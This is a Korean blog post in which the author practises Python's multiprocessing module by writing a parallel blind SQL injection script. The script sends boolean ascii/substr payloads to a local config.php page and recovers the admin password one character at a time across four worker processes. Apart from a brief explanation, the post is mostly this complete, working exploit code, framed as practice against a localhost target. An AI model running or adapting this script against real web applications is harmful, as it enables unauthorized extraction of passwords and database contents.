파이썬 multiprocessing 모듈 복습겸 만들어봤다.
대상 페이지는 간단하게 인젝션이 통하는 페이지이다.
옛날에 업로드했던 소스는 한글자 한글자씩 뽑아냈지만 이번에는
multiprocessing 라이브러리를 사용하여 동시에 여러개의 글자를 뽑아냈다.
35번 라인부터 for문을 통해 프로세스를 생성하고 진행했더니
하나의 프로세스가 끝나면 다른 프로세스가 생성, 작업을 하길래
32, 33번 라인에서 map을 통해 문제를 해결했다.
[최종 소스]
from multiprocessing import Process, Manager, Value, Pool
import requests, os, time
class inject:
def __init__(self, true):
self.input = "abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()-_=+"
self.true = true
def attack(self, n):
print("[*] {0} : {1}".format(os.getpid(), n))
for i in range(0, len(self.input)):
id = "admin' and ascii(substr(pw,{0},1))='{1}'%23".format(n, str(ord(self.input[i])))
url = "http://127.0.0.1/config.php?id={0}&pw=1".format(id)
r = requests.get(url)
r.encoding = "utf8"
if self.true in r.text:
flag[n] = str(self.input[i])
break
if __name__ == '__main__':
targetSize = 8
m = Manager()
flag = m.dict()
result = ""
sqli = inject('admin')
p = Pool(4)
start = time.time()
p.map(sqli.attack, range(1,targetSize+1))
end = time.time()
for i in range(1, len(flag)+1):
result += dict(flag)[i]
print("[*] FLAG : ", result)
print("총 작업 시간 : "+str(end-start))
'Coding > Python' 카테고리의 다른 글
장고(Django) Restframework로 REST API 만드는 방법 (0) | 2018.01.09 |
---|---|
빗썸(Bithumb) API 사용하는법 (0) | 2018.01.05 |
파이썬 pymysql fetchone() (0) | 2017.11.09 |
파이썬 os.system / subprocess.popen 차이, 문제점 (0) | 2017.11.02 |
페이스북 엑세스 토큰 기한 확장하는법 (3) | 2017.10.30 |